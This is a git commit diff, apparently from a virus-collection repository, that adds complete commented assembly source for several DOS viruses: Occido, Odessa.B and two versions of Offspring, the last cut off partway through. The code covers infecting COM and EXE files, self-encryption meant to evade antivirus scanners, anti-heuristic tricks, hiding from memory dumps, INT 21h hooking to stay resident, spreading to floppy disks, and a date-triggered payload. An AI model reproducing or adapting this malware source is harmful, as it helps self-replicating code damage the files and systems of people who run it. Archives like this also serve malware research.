re-organize

push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
@@ -0,0 +1,285 @@
; NAME: Occido.com ( 'Occido' = Several unfriendly meanings in Latin )
; TYPE: Appending
; ENCRYPTION: Yes ( Double )
; INFECTS: COM
; RESIDENT: No
; STEALTH: No
; DT: No ( Directory Transversal )
; REPAIRABLE: Yes
; PAYLOAD: No
; SIZE: 328 bytes
; AUTHOR: The Virus Elf
; Appends itself to files while encrypting itself with two different
; encryption routines. Only infects 5 files per run of an infected file.
; After infecting 5 files, or all in current directory, it will hide itself
; before closing. I just felt like doing it for more fun. If a person were
; to pause a running program and do a mem dump, the virus would not show up
; because it hides itself before returning control to the running progge.
start:
jmp Virus_start ; Jumps to the start of the virus. This
; will change as the virus is appended to
; different size files.
Virus_start:
call Delta ; Now we have to get the delta offset. By
; calling Delta we push the address of 'pop bp'
; onto the stack.
Delta:
pop bp ; Put the address into BP so it can be used.
sub bp,offset delta ; Now this takes the distance that Delta is now
; now (BP) and subtracts where it started
; (Offset Delta). Understand?? Hopefully you do!
; Because most files are different sizes, and this
; virus just attaches itself to the end we have
; to find out where it is before it can do anything.
Skip:
jmp DHidden ; We have to skip the decrypt part on the first run
Decrypt:
; Give length of area to decrypt to CX
;mov cx,cryptie-hidden ; This is written later to keep correct file size
; and offsets. It overwrites the 'jmp hidden'.
lea di,[bp+hidden] ; Start of area to decrypt
mov si,di ; its also the destination for decrypted part
call Cryptie ; Decrypts the virus from here to the decryption
; routine.
Hidden: ; Only encrypted once, because this is the decrypt
; call for the second layer.
lea di,[bp+Dhidden] ; Puts the starting address of the secong layer of
; encryption into DI
mov si,di ; Then SI
mov cx,DCryptie-Dhidden ; Gets the size for the next area to decrypt
mov dl,03h ; Decryption code value
call DCryptie ; Boom! Decrypts the second layer
DHidden: ; Area that is hidden with Double encryption
; Here we will write the saved bytes from the beggining of the file, back
; to where they belong, so that we may run the file as normal, after we
; infect some more files of course :)
lea si,[bp+saved] ; Notice the [bp+saved]. It accesses a memory locale
; that would be changed depending on infected file
; size. We just add our Delta offset to find out
; its exact location.
lea di,100h ; We are gonna write the saved bytes to the start
; so we run the program as normal after we infect
; some files.
mov cx,03h ; The number of bytes we have to write back to start
rep movsb ; Quickly restores the file so we can run it after
; we get through here.
lea si,[bp+frstbytes] ; We have to save these over the jmp
; so that later we can just copy Virus to mem
lea di,[bp+Skip] ; Where the skip instruction is
; We are gonna over write it with the Frstbytes
mov cx,03h ; Length of area
rep movsb ; Does the job
push 00h ; Pushes the 0 value to stack, this will keep
; a count of the files infected during each run.
mov ax,4E00h ; Function 4Eh: Find First
Findnext: ; Findnext jmp point
lea dx,[bp+filemask] ; Gets the filemask = '*.com',0
xor cx,cx ; No attributues in this search
int 21h ; Tells DOS to find the *.com files
jnc Open ; Found one, now open it!
jmp Badstuff ; NONE left, do some other stuff
Open: ; Open/Encrypt/Infect routines
mov ax,3D02h ; Function 3D: Open File
; 02 = Read/Write access
mov dx,9Eh ; Location of ASCIZ filename
int 21h ; Calls DOS to open the file, with Read/Write access
; so that we can write the virus to it :)
xchg bx,ax ; Gives the file handle from AX to BX in one byte.
mov ah,3Fh ; Function 3Fh: Read from file
mov cx,03h ; We are gonna read the first 3 bytes. CX = # of bytes
; to read from file.
lea dx,[bp+saved] ; The location for the bytes to be stored when read.
int 21h ; Calls DOS to load the first 3 bytes of Victem file
; into the 'Saved' location so that it may run correctly.
mov al,0E9h ; Checks to see if it was a jump instruction
cmp al,[bp+saved] ; by matching E9h to the first byte of the file.
jne Uninfected ; It can't be infected by this virus because the file
; has NO jmp at its beggining. If it does have a jmp
; but not from this program it could be from another
; virus, and double infecting can cause trouble.
jmp Infected
Uninfected:
mov ax,[80h+1Ah] ; Gets the filesize of the target file
sub ax,03h ; Takes into account the length of the JMP instruction
mov [bp+jumpto],ax ; Puts the location to jmp to as the
; 2nd,3rd bytes of the buffer.
mov ax,4200h ; Function 42h: Move File Pointer
; 00h = beggining, after the read the FP moves 3 bytes
xor cx,cx ; 0 = CX
xor dx,dx ; 0 = DX
int 21h ; Calls DOS, this is explained a bit more with the
; next "Move File Pointer" instruction
mov ah,40h ; Function 40h: Write to file
mov cx,03 ; Number of bytes to write. CX = # of bytes
lea dx,[bp+jumping]; Start at buffer area, this will write the jump
; instruction to the beggining of the victem file.
int 21h ; Blammo! This is the jmp that skips over the normal
; file and heads write to the virus code. INT 21h tells
; DOS to write those three bytes.
mov ax,4202h ; Function 42h: Move File pointer
; 02 = End of file ( EOF )
xor cx,cx ; DX:CX is the offset from the File pointer location,
xor dx,dx ; since we want to be exactly at the EOF we clear DX:CX
int 21h ; Calls DOS to move the file pointer
; Write the Virus to memory
VirL EQU Ende-Virus_Start
; Length of Virus except jmp at beggining
lea si,[bp+Virus_Start] ; Start of virus
lea di,[bp+buffer] ; Area that it will be stored in mem
mov cx,VirL ; Length of it
rep movsb
; Now we have to modify it so that it is encrypted
DHiddenL EQU DCryptie-DHidden ; Length of area to encrypt that will
; end up double encrypted.
HiddenL EQU Cryptie-Hidden ; Length of single encrypt area
DHBufStart EQU DHidden-Virus_Start+Buffer ; Start of DHidden in buffer
HBufStart EQU Hidden-Virus_Start+Buffer ; Start of Hidden in Buffer
; More ways to clear up the clutter
; Here we encrypt All but the second and first Decrypt calls, and the
; decryption routines that go with em.
lea si,[bp+DHBufStart] ; Time to encrypt the first area that will then
mov di,si ; be encrypted again, giving us our Doubly Encrypted
; area.
mov cx,DHiddenL ; Length of this area
mov dl,05h ; Encryption value
call DCryptie ; Calls the Second Encryption routine
; because this will become decrypted by the first
; when infected files are run.
; Now we encrypt from Hidden to Cryptie ( while encrypting DHidden to
; DCryptie for the second time ) which makes this double encrypting.
lea si,[bp+HBufStart] ; Start of Hidden area in buffer
mov di,si ; You should know this one by now.
mov cx,HiddenL ; Length of the area
call Cryptie ; Uhoh, now its encrypted and the AV software won't
; find it. Now what are we gonna do?
; ( Being sarcastic of course! )
; So we have the virus prepared for infecting :)
mov ah,40h ; Function 40h: Write to file ( everyone's fave )
lea dx,[bp+buffer] ; Start of virus in mem buffer
mov cx,VirL ; Length of it
int 21h ; Calls DOS to write this :)
pop cx ; This is gonna be the infected file count.
inc cx ; We must have found and infected one if we are here so
; makes sure it gets added to the total.
push cx ; Saves it so we can check again after the next file
; is found.
Infected: ; A place to jump in case the file is already infected
mov ah,3Eh ; Function 3Eh: Close File
int 21h ; Calls DOS to close up the file.
pop cx
push cx
cmp cl,05h ; Check to see if 5 files have been infected.
je BadStuff
mov ax,4F00h ; Function 4Fh: Find next
jmp Findnext
Badstuff: ; Here is where the payload goes
exit:
; Now we are gonna get outta here, first we should cover up any stuff
; that might show up in a mem dump, so that if anyone looks, all they
; see is garbage.
lea di,[bp+Virus_Start] ; Gets the location of the Virus_start and hides
; everything but the encryption itself. ( and the
; kitchen sink, of course )
mov si,di ; and put it into DI/SI so we can hide the virus
; from the host program.
mov cx,cryptie-Virus_start ; Gives length of area to hide into CX
call cryptie ; Calls the encryption loop to hide it
; Jumps to the start of the actual program.
;push 100h ; This is encrypted because the call to cryptie
;ret ; will decrypt it and it will be the only thing
db 87h,0EFh,0EEh,2Ch ; unencrypted ( along with the cryptie loop, but
; they are not very easily recognizable as virus
; code. )
Frstbytes:
mov cx,Cryptie - Hidden ; These will overwrite the jmp that skips the
; decrypt routines on the first run.
saved db 0CDh,020h,0h ; This is the storage space for the first
; three bytes from the infected file. CD20 is
; the 'int 20h' instruction used to exit.
jumping db 0E9h ; E9 = jmp
jumpto db 0,0 ; Place for the new address
filemask db '*.com',0 ; The type of files we are gonna infect.
message db 'Occido/The_Virus_Elf/10.08.97' ; Virus Info
DCryptie:
lodsb ; Gets next byte Doomed for De/Encryption
xchg dx,cx ; Saves the count while using the DE/ENcrypt value
; Uses 3 to decrypt and 5 to encrypt
rol al,cl ; Rotates those bits by CL
not al ; Opposite bits
neg al ; One's complement bits
not al ; More opposite bits
xor al,0C4h ; XORs the value
not al ; See above
neg al ; " "
not al ; " "
rol al,cl ; " "
xchg cx,dx ; Returns the count value to CX
stosb ; Puts the encrypted byte into mem
loop DCryptie ; Does all the bytes specified by CX
ret ; Jumps back to the caller
Cryptie:
lodsb ; Gets the next byte to De/Encrypt
ror al,04h ; Rotates the bits 4 places
xor al,0C4h ; Does a little XORing
not al ; Gets the opposite bits
neg al ; Gets the one's complement bits
not al ; Gets the opposite bis again
xor al,0C4h ; More XORing
ror al,04h ; Rotates the bits Back 4 places
stosb ; Plugs AL back into mem
loop Cryptie ; Does all the bytes specified by CX
ret ; Jumps back to where it was called
buffer:
ende:
@@ -0,0 +1,409 @@
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; Odessa.B virus
; (C) Opic [CodeBreakers '98]
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;Odessa.B variant is a continuation of Odessa (aka opic.727)
;
;Odessa.B's NEW features:
;
;-Odessa.B will NOW infect .Exe files present on any floppy disks
; undetectably (due to a critical error handler). It does so after
; the current HDD is infected. When Odessa.B is present on a floppy
; disk it will move imediatly to the HDD to insure infection of new systems.
;Thus making it a viable floppy born virus (one of the few outside of the
;BS/MBR families)
;
;-an expanded encryption loop
;
;-some minor bug fixes, and optimisations.
;
;Infected files grow approximatly: 745 bytes
;
;Old features:
;
;-Exe file infector
;-directory transversal via dotdot
;-is Windows compatable (ie: will not infect: Windows NE, PE, LE files ect.)
;-some anti-emulation
;-payload criteria: the virus will activate its payload on
; either the 13th or the 6th of any given month provided the seconds
; are below 30.
;
;-payload: when activated the virus will beep 6 times before the
; infected file is run. I choose this more subtle payload because
;it is easily missed, and only creates a bit of curiosity at most.
;which is a good aspect since the fact that all infected files will
;try to access the floppy drive before running also brings some curious.
;Its also somewhat humerous because the telltale signs of this virus
;are also what many non-computer literate people constantly write to
;AVers about complaining of (to which the AVs constant reply is:
;false alarm. There is a signature line:
;Odessa.B (c) Opic [Codebreakers 1998]
;I have left for the AV to rename for me, as it is never displayed
;(hell i figure their gonna anyways :P ).
;
;detected: Not detected by TBAV as second gen.
;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Exe_Infector Segment
Assume CS:Exe_Infector, SS:Exe_Infector, DS:Exe_Infector, ES:Exe_Infector
jumps
start: ;set registers up
dec cx ;lame loop
noav1:
jmp noav2
mov ax,4c00h
int 21h
noav2:
loop noav1 ;end of antiheur
push ds
push es
push cs
push cs
pop ds
pop es
Call delta
delta: ;delta offset
pop bp
sub bp,offset delta
lea si,[bp+Begin_Virus]
mov di,si
mov cx,End_Virus-Begin_Virus
call encrypt
jmp Begin
encrypt:
lodsb
NEG al ;<-------------13
ROR al,4 ;<------------12
NOT al ;<-----------11
ROR al,4 ;<----------10
NOT al ;<---------9
NEG al ;<--------8
ROL al,4 ;<-------7
NOT al ;<------6
ROL al,4 ;<-----5
NOT al ;<----4
ROR al,4 ;<---3
NEG al ;<--2
NOT al ;<-1
ROR al,4 ;<0 this huge loop may
NOT al ;<-1 look silly but it
NEG al ;<--2 kills alot of AV
ROR al,4 ;<---3 scanners due becuz
NOT al ;<----4 they think it is
ROL al,4 ;<-----5 endless
NOT al ;<------6
ROL al,4 ;<-------7
NEG al ;<--------8
NOT al ;<---------9
ROR al,4 ;<----------10
NOT al ;<-----------11
ROR al,4 ;<------------12
NEG al ;<-------------13
stosb
loop encrypt
ret
Begin_Virus:
Check_Payload proc
mov ah,2ah ;system date
int 21h
cmp dl,13 ;is it the 31st if the month?
je sec ;yes? test seconds!
cmp dl,6 ;13th ?
je sec ;yes seconds!
jmp CP_Exit ;no? restore.
sec:
mov ah,2Ch ;check time
int 21h
cmp dh,30d ;seconds less then 30?
jnb CP_Exit ;if yes->payload
call Payload
CP_Exit:
ret
Check_Payload endp
Payload proc
mov ah,0eh ;back to c:\
mov dl,02h
int 21h
mov cx,6 ;beep 6 times.
beep:
mov al,7
int 29h
loop beep
ret
Payload endp
Infect proc
mov ax,3d02h ;open file
lea dx,[bp+End_Virus+1eh]
int 21h
mov bx,ax ;file handleto bx
mov ah,3fh ;exe head into buffer
lea dx,[bp+header]
mov cx,1ah
int 21h
cmp word ptr cs:[bp+header],'MZ' ;check .exe signature
je its_exe
cmp word ptr cs:[bp+header],'ZM'
je its_exe
jmp close
its_exe:
cmp byte ptr cs:[bp+header+12h],'B' ;our infection check
jne not_infected
jmp close
not_infected:
mov ax, word ptr cs:[bp+header+18h] ;make sure its not a
;windbloze exe (pe,ne,le .ect)
cmp ax, 40h
jae close ; > or = means windbloze
mov ax,word ptr cs:[bp+header+0eh] ;save orginal info from header
mov word ptr cs:[bp+old_ss],ax ;stack segment
mov ax,word ptr cs:[bp+header+10h] ;stack pointer
mov word ptr cs:[bp+old_sp],ax
mov ax,word ptr cs:[bp+header+14h] ;instructional pointer
mov word ptr cs:[bp+old_ip],ax
mov ax,word ptr cs:[bp+header+16h] ;code segment
mov word ptr cs:[bp+old_cs],ax ;cs:ip =begining of excutable code
mov ax,4202h ;EOF
xor cx,cx
xor dx,dx
int 21h
push ax ;save file size
push dx
push ax
mov ax,word ptr cs:[bp+header+8] ;header size
shl ax,4 ;convert
mov cx,ax ;save header size in cx
pop ax ;restore ax
sub ax,cx ;subtract header from file size to get code and data size
sbb dx,0
mov cx,10h
div cx
mov word ptr cs:[bp+header+14h],dx ;IP create new header
mov word ptr cs:[bp+header+16h],ax ;CS
mov word ptr cs:[bp+header+0Eh],ax ;SS
mov word ptr cs:[bp+header+10h],0fffeh ;SP
mov word ptr cs:[bp+header+12h],'B' ;marker
pop dx ;restore filesize
pop ax ;dx to ax
add ax,End_Virus-start
adc dx,0
mov cx,512 ;divide new filesize by 512
div cx
cmp dx,0
je no_remainder
inc ax
no_remainder:
mov word ptr cs:[bp+header+4],ax ;save new filesize
mov word ptr cs:[bp+header+2],dx
lea si,[bp+Begin_Virus] ;crypt virus
lea di,[bp+Buffer]
mov cx,End_Virus - Begin_Virus
call encrypt
mov ah,40h ;write decryptor
mov cx,Begin_Virus - start
lea dx,[bp+start]
int 21h
mov ah,40h ;write encrypted portion
mov cx,End_Virus - Begin_Virus
lea dx,[bp+Buffer]
int 21h
mov ax,4200h ;SOF
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ;write new header
lea dx,[bp+header]
mov cx,1ah
int 21h
close:
mov ah,3eh
int 21h
ret
Infect endp
ni24h proc ;
mov al,3 ;ignore error
iret ;critical error handler
ni24h endp
Search proc
mov ax,3524h ;critical error handler
int 21h
push bx ;saves orig
push es ;stuffs to restore later
mov ah,25h
lea dx,[bp+ni24h]
int 21h
push ds ;ES was changed by 3524h but you need it
pop es ;to be restored for the crypt procedure.
first:
mov ah,4eh ;find first
lea dx,[bp+filespec]
mov cx,7
findnext:
int 21h
jc findover ;no? get out!
call Infect ;yes and infect!
mov ah,4fh ;find next
jmp findnext
findover:
mov ah,3Bh ;change dirs
lea dx,[bp+dotdot] ;to root
int 21h ;now
jnc first ;find first file
get_cur_drive:
mov ah,19h ;what drive are we on?
int 21h
cmp al,00h ;if already floppy
je Search_Exit ;we can leave now.
mov ah,0eh ;select default drive
mov dl,00h ;this time the floppy drive
int 21h
jmp first ;exe on floppy?
Search_Exit:
pop ds
pop dx
mov ax,2524h
int 21h
ret
Search endp
Begin proc
mov ah,2fh ;get current dta
int 21h
push es ;save it
push bx
push cs ;restore es
pop es
mov ah,1ah ;set new dta to end of virus
lea dx,[bp+End_Virus]
int 21h
mov ah,0eh ;select default drive (main HDD)
mov dl,02h ;c:\
int 21h ;so our virus can move from
;a floppy to a new HDD without
;any help
lea si,[bp+old_ip]
lea di,[bp+original_ip]
mov cx,4
rep movsw
call Search
call Check_Payload
mov ah,0eh ;back to c:\
mov dl,02h
int 21h
restore: ;restore prev location DTA
pop dx
pop ds
mov ah,1ah ;reset dta
int 21h
pop ds
pop es
mov ax,es ;es points to PSP
add ax,10h
add word ptr cs:[bp+original_cs],ax
cli ;ints off!
add ax,word ptr cs:[bp+original_ss]
mov ss,ax
mov sp,word ptr cs:[bp+original_sp]
sti ;ints on!
Begin endp
db 0eah
original_ip dw ?
original_cs dw ?
original_ss dw ?
original_sp dw ?
old_ip dw offset Exit
old_cs dw 0000h
old_ss dw 0000h
old_sp dw 0fffeh
filespec db '*.exe',0
dotdot db '..',0
sig db 'Odessa.B (c) Opic [Codebreakers 1998]',0
header db 1ah DUP(?)
End_Virus db 42 dup(?)
Buffer equ this byte+80h
db 1024 dup(?)
Entry proc
mov bp,0000h
push ds
push es
push cs
pop ds
push cs
pop es
jmp Begin
Entry endp
Exit proc ;<- Begin procedure
mov ax,4c00H
int 21h
Exit endp ;<- End procedure
Exe_Infector Ends
End Entry
@@ -0,0 +1,439 @@
;-------------------------------------------------------------------------
; OSPRING.COM - Make sure you compile this to a COM file
; - Compatible with A86 v3.22
; OFFSPRING I - By VG Enterprises (Virogen)
;
; NOTICE : Don't hold me responsible for any damages, or the release
; of this virus. Use this at your own risk. NOT intended
; for any lamers to upload the Mcafee! Thank you for your
; loyal obendience.
;
; TYPE : SPAWNING RESIDENT
; VERSION : BETA 0.05
;
; FIXED/NEW IN VERSION 0.05
; - Mutation engine much smaller
; - Now change interrupt vectors directly
; - The XOR number is now generated randomly
; using the system clock as a base.
; - The FF/FN buffer has been moved outside
; of the virus code, so disk space is
; lowered.
;
; INFECTION METHOD : Everytime DOS changes directories, or changes
; drives... all files in the CURRENT directory
; (the one you're coming out of) will be infected.
; COM files will be hidden, and have the read-only
; attribute. When they are executed they will
; check if the virus is already in memory, and
; then execute the corresponding EXE file. See
; DOCS.
;
; This virus is NOT completed, so don't go off when you find a
; bug. There is one that I haven't determined the cause of yet,
; Do a 'DIR' of a directory other than the current, and see
; what happens. There's still some variables that can be
; moved outside of the code, but it won't make a hell of
; a difference in size.
;
;
;
;
title off_spring_1
.286
cseg segment
assume cs: cseg, ss: cseg, es: cseg
signal equ 7dh ; Installation check
reply equ 0FCh ; Yep, we're here
cr equ 0dh ; carraige return
lf equ 0ah ; line feed
f_name equ 1eh ; Offset of file name in FF/FN buffer
f_sizel equ 1ch ; File size - low
org 100h ; Leave room for PSP
; jump to the beginning of the main procedure
start:
jmp no_dec ; Skip decryption, changes to NOP
lea di,enc_data+2 ; Point to byte after encryption num
mov dx,[di-2] ; load encryption num
call encrypt ; Decrypt the virus
no_dec:
jmp main ; Jump to main routine
enc_data DW 0000 ; Encryption Data - num we XOR by
ID DB cr,lf,'(c)1993 VG Enterprises',cr,lf ; my copyright
VNAME Db cr,lf,'* Congratulations, You have recieved the privelge of being infected by the *'
Db cr,lf,'* Offspring I v0.05. *','$'
fname db '*.EXE',0 ; Filespec to search for
sl db '\' ; Backslash for directory name
file_dir db 64 dup(0) ; directory of file we infected
file_name db 13 dup(0) ; filename of file we infected
old_dta dd 0 ; old seg:off of DTA
old21_ofs dw 0 ; Offset of old INT 21H
old21_seg dw 0 ; Seg of old INT 21h
par_blk dw 0 ; command line count byte -psp
par_cmd dw 0080h ; Point to the command line -psp
par_seg dw 0 ; seg
dw 05ch ; Use default FCB's in psp to save space
par1 dw 0 ;
dw 06ch ; FCB #2
par2 dw 0 ;
;--------------------------------------------------------------------
; This is our new INT 21H (dos) interrupt handler!
;
;
;---------------------------------------------------------------------
new21 proc ; New INT 21H handler
cmp ah, signal ; signaling us?
jne no
mov ah,reply ; yep, give our offspring what he wants
jmp end_21
no:
cmp ah, 3bh ;
je run_res ; Nope, jump
cmp ah,0eh
jne end_21
run_res:
push ax
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push sp
push ss
push cs
pop ds
mov ah,2fh
int 21h ; Get the DTA
mov ax,es
mov word ptr cs: old_dta,bx
mov word ptr cs: old_dta+2,ax
push cs
pop es
call resident
mov dx,word ptr cs: old_dta
mov ax,word ptr cs: old_dta+2
mov ds,ax
mov ah,1ah
int 21h ; Restore the DTA
pop ss
pop sp
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
end_21 :
jmp [ dword ptr cs: old21_ofs] ; jump to original int 21h
iret
new21 endp ; End of handler
; ------------------------------------------------------------
; Main procedure
; -----------------------------------------------------------
main proc
mov word ptr [0100h],9090h ; NOP the jump past decryption
mov byte ptr [0102h],90h
mov bx,(offset vend+50) ; Calculate memory needed
mov cl,4 ; divide by 16
shr bx,cl
inc bx
mov ah,4ah
int 21h ; Release un-needed memory
mov ax,ds: 002ch ; Get environment address
mov par_blk,ax ; Save in parameter block for exec
mov par1,cs ; Save segments for EXEC
mov par2,cs
mov par_seg,cs
mov ah,2ah ; Get date
int 21h
cmp dl,14 ; 14th?
jne no_display
mov ah,09 ; Display message
lea dx,ID
int 21h
no_display:
call install ; check if installed, if not install
mov dx,offset file_dir -1 ; Execute the original EXE
mov bx,offset par_blk ; For some damned reason
mov ax,4b00h ; control is not returned back
int 21h ; to the virus.
push cs
pop ds
mov es,ds
mov ah,4ch ; Exit
int 21h
main endp
;---------------
; INSTALL - Install the virus
;---------------
Install Proc
mov ah,signal
int 21h
cmp ah,reply
je no_install
xor ax,ax
mov es,ax
mov ax,es: [21h*4+2]
mov bx,es: [21h*4]
mov ds: old21_seg,ax ; Store segment
mov ds: old21_ofs,bx ; Store offset
cli
mov es: [21h*4+2],cs ; Save seg
mov es: [21h*4],offset new21 ; off
sti
push cs
pop ds
mov es,ds
mov dx,(offset vend+50)
add dx,dx
; Calculate memory needed
mov cl,4 ; \ Divide by 16
shr dx,cl ; /
add dx,1 ;
mov ax,3100h ;
int 21H ; Terminate Stay Resident
ret
no_install:
ret
Install Endp
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
resident proc
mov ax,ds ; Calculate segment of MCB
dec ax ;
mov ds,ax ;
mov ds: [0001],word 0008h ; Mark DOS as the owner- so some
; utilities won't id the file the virus
; loaded from.
push cs
pop ds
mov word ptr vend,0 ; Clear ff/fn buffer
lea si, vend ;
lea di, vend+2 ;
mov cx,22 ;
cld ;
rep movsw ;
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
mov ah, 1ah
lea dx, vend
int 21h
; Find first .EXE file
mov ah, 4eh
mov cx, 0 ; Set normal file attribute search
lea dx, fname
int 21h
jnc next_loop
jmp end_prog
next_loop :
mov file_dir,0
lea si,file_dir
lea di,file_dir+1
mov cx,77
cld
rep movsb
mov ah,47h
xor dl,dl
lea si,file_dir
int 21h
cmp word ptr vend[f_sizel],0
jne find_file
xor bx,bx
lm3 :
inc bx
cmp file_dir[bx],0
jne lm3
mov file_dir[bx],'\'
inc bx
mov cx,13
lea si,vend[f_name]
lea di,file_dir[bx]
cld
rep movsb
xor bx,bx
mov bx,1eh
loop_me:
inc bx
cmp byte ptr vend[bx], '.'
jne loop_me
inc bx
mov word ptr vend [bx],'OC'
mov byte ptr vend [bx+2],'M'
call write_file ; Write virus to file
; Find next file
find_file :
mov ah,4fh
int 21h
jnc next_loop
end_prog:
exit :
ret
resident endp
;------------------------------------------------
; Write file procedure - Creates the file, writes the file, closes the file
;-----------------------------------------------
write_file proc
lea dx, vend[f_name]
mov ah, 3ch ; Create file
mov cx, 02h ; READ-ONLY
or cx, 01h ; Hidden
int 21h ; Call INT 21H
jc no_infect ; If Error-probably already infected
mov bx,ax
push dx
call copy_mem ; copy virus just outside of code
mov ah,2ch ;
int 21h ; Get random number from clock
lea di,vend+enc_data-204 ; offset of new copy of virus
mov [di-2],dx ; save encryption #
push bx
call encrypt ; writing it to a file
pop bx
mov cx, offset vend-100h ; # of bytes to write
lea dx, vend+50 ; Offset of buffer
mov ah, 40h ; -- our program in memory
int 21h ; Call INT 21H function 40h
pop dx
mov ah, 3eh
int 21h
no_infect:
ret ; Return
write_file endp
;------------------------------------------------
; Copies virus outside of code, to encrypt
;------------------------------------------------
copy_mem proc
mov si,0100h ; si=0
lea di,vend+50 ; destination
mov cx,offset vend-100h ; bytes to move
cld
rep movsb
ret
copy_mem endp
end_encrypt dw 0000h ; Let's encrypt everything up to here
;------------------------------------------------
; Encrypt
;
; Call with
; di=offset of encrypted/decrypted data
; dx=XOR value
;
; - First word to encrypt must be a free word.
; This word will be used as the encryption base. Every time the virus
; is encrypted a random number will be saved here.
;
;-----------------------------------------------
encrypt proc
mov cx,(offset end_encrypt - offset enc_data)/2
E2:
xor [di],dx ; Xor each word by dx
inc di
inc di ; increment index
loop E2 ; loop while cx != 0
ret
encrypt endp
vend dw 0
cseg ends
end start
@@ -0,0 +1,714 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with A86 v3.22
;
;
; DISCLAIMER : Don't hold me responsible for any damages, or the release
; of this virus. Use at your own risk.
;
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.7
;
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
; 0Eh (change drive) is called the virus will infect
; up to 5 files in the current directory (the one
; you're coming out of). It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; bytes between them are constantly changed. The
; call to the encryption routine changes, so the
; address can be anywhere in a field of NOPs.
; Not anything overly amazing, but it works.
;
;
TITLE OFFSPRING_1
.286
CSEG SEGMENT
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
SIGNAL EQU 7DH ; Installation check
REPLY EQU 0FCH ; reply to check
CR EQU 0DH ; carraige return
LF EQU 0AH ; line feed
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
F_SIZEL EQU 1CH ; File size - low
F_SIZEH EQU 1AH ; File size - high
F_DATE EQU 18H ; File date
F_TIME EQU 16H ; File time
MAX_INF EQU 05 ; Maximum files to infect per run
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
PARASTIC EQU 01 ; Parastic infection
SPAWN EQU 00 ; Spawning infection
ORG 100H ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
START:
DB 0BEH ; MOV SI,xxxx - Load delta offset
SET_SI: DW 0000H
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
; replicated copies.
M_SW1: NOP ; changs into a byte in op_set
XCHG_1 DB 0BFH
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
; Switches positions with XCHG_2
M_SW2: NOP ; changes into a byte in op_set
XCHG_2 DB 090H
ENC_NUM DW 9090H
M_SW3: NOP
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
ADD_DI: DW 9000H ; 00-NOP
CALL_ENC DB 0E8 ; Call encryption routine - address changes
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
NO_DEC:
JMP MAIN ; Jump to virus code
;-----------------------------------------------
; Data area
;-----------------------------------------------
ENC_DATA DW 0000 ; Start of encrypted data
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
VTYPE DB 00 ; Spawning or Parastic Infection?
INF_COUNT DB 0 ; How many files we have infected this run
COM_NAME DB 'COMMAND.COM' ; obvious
NEW_CODE DW 9090H ; ID bytes
NEW_JMP DB 0E9H,00,00 ; New Jump
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
ADD_MEM DB 0 ; restore mem size? Yes,No
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
FNAME1 DB '*.EXE',0 ; Filespec
FNAME2 DB '*.COM',0 ; Filespec
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
TIMES_INC DB 0 ; # of times encryption call incremented
SL DB '\' ; Backslash for directory name
FILE_DIR DB 64 DUP(0) ; directory of file we infected
FILE_NAME DB 13 DUP(0) ; filename of file we infected
OLD_DTA DD 0 ; old seg:off of DTA
OLD21_OFS DW 0 ; Offset of old INT 21H
OLD21_SEG DW 0 ; Seg of old INT 21h
NEW_SEG DW 0 ; New segment in high mem
PAR_BLK DW 0 ; command line count byte -psp
PAR_CMD DW 0080H ; Point to the command line -psp
PAR_SEG DW 0 ; seg
DW 05CH ; Use default FCB's in psp to save space
PAR1 DW 0 ;
DW 06CH ; FCB #2
PAR2 DW 0 ;
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
NEW21 PROC ; New INT 21H handler
CMP AH, SIGNAL ; signaling us?
JNE NO
MOV AH,REPLY ; yep, give our offspring what he wants
JMP END_21
NO:
CMP AH, 3BH ; set dir func?
JE RUN_RES
CMP AH,0EH ; set disk func?
JE RUN_RES
JMP END_21
RUN_RES:
PUSHF
PUSH AX ; Push regs
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH BP
PUSH DS
PUSH ES
PUSH SP
PUSH SS
PUSH CS
POP DS
XOR AX,AX ; nullify ES
MOV ES,AX
CMP ADD_MEM,1 ; Restore system conventional mem size?
JE REL_MEM ;
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
JE SET_MEM ; total system memory.
JMP NO_MEM_FUNC
SET_MEM:
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
INC ADD_MEM ; make sure we know to add this back
JMP NO_MEM_FUNC
REL_MEM:
